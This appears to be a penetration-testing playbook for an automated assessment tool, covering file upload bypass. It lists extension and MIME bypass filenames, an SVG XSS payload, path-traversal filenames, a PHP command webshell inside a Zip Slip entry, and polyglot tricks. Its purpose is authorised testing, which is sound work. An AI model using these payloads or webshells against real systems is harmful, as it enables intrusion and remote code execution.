File Upload Bypass
Objective
Identify weaknesses in file upload handlers that allow an attacker to upload unexpected file types (PHP/ASPX webshell), bypass MIME/extension validation, inject content into served files (SVG XSS), or write to unintended paths (path traversal via filename).
Discovery
# 1. Enumerate upload endpoints during crawl
khaos_run_catalog_action("katana", assessment_id, endpoint)
# Look for: form[enctype=multipart/form-data], input[type=file], /upload, /import, /avatar
# 2. Inspect JS bundles for hidden upload handlers
khaos_browser_inspect("FormData|multipart|/upload|/import|/avatar")
Extension Bypass Techniques
Test all bypass variants against the target's blacklist/whitelist:
Blacklist bypass (server blocks .php):
.php5, .phtml, .pHp, .PHP, .php%00.jpg, .php;.jpg
Whitelist bypass (server allows only jpg/png):
shell.jpg.php (double extension, some Apache configs)
shell.php%00.jpg (null byte — older PHP, rare)
shell.php (rename: upload as jpg, rename to php via API)
MIME type confusion:
Content-Type: image/jpeg + filename: shell.php
Content-Type: application/octet-stream + filename: shell.jpg
SVG XSS
SVG files are XML and browsers execute embedded <script> tags when served from the same origin.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Probe:
# Upload safe.svg, then GET the returned URL and check if script executes
khaos_upload_probe(assessment_id, endpoint, "safe.svg", <svg_b64>, "image/svg+xml")
# Vulnerable if: Content-Type response is "image/svg+xml" AND script runs in browser
Path Traversal via Filename
# Attempt to write outside the upload directory
filename: "../../etc/passwd"
filename: "../../../var/www/html/shell.php"
filename: "..\\..\\windows\\system32\\calc.exe" # Windows targets
# Percent-encoded variants
filename: "%2e%2e%2f%2e%2e%2fetc%2fpasswd"
Zip Slip (Archive Upload)
If the target accepts .zip or .tar.gz:
# Archive containing a path-traversal entry
# Entry path: "../../var/www/html/shell.php"
# Content: <?php system($_GET['cmd']); ?>
RCE Verification (safe canary approach)
Never execute destructive payloads. Use OOB DNS as a safe RCE proof:
# Webshell content for OOB DNS check only:
<?php $d=shell_exec("nslookup ".gethostbyname($_SERVER['HTTP_HOST'])." {oob_domain}"); ?>
# Or use the khaos OOB workflow:
khaos_oob_generate(assessment_id) → interaction_url
# Upload webshell that triggers nslookup to interaction_url
# Poll: khaos_oob_poll(assessment_id, oob_id) → DNS callback = RCE confirmed
Validation Requirements
- 3 independent reproductions per finding
- Extension bypass: reproduce with fresh upload each time, include server response (Content-Type, Location)
- SVG XSS: screenshot of alert OR captured JS execution evidence
- RCE via upload: OOB DNS callback (3× DNS hits) is sufficient — do NOT execute system commands
- Path traversal: confirm file exists at target path via a subsequent GET (200 + content)
Finding Classification
| Scenario | OWASP | Severity |
|---|---|---|
| RCE via webshell upload | A03 Injection | CRITICAL |
| SVG XSS (same-origin served) | A03 Injection | HIGH |
| Stored XSS via HTML/SVG (cross-origin) | A03 Injection | MEDIUM |
| Path traversal write | A01 Broken Access Control | HIGH |
| Zip Slip → arbitrary write | A01 | HIGH |
| Extension bypass (no code execution) | A05 Misconfiguration | LOW |
Notes
khaos_upload_probesends a multipart/form-data POST with controlled filename, content, and Content-Type- Always check if uploads are served from a CDN subdomain (different origin) — SVG XSS only applies to same-origin serving
- Magic bytes check: some servers read the first bytes of the file, not the extension. Prepend a valid JPEG header (
\xFF\xD8\xFF) before PHP code for polyglot files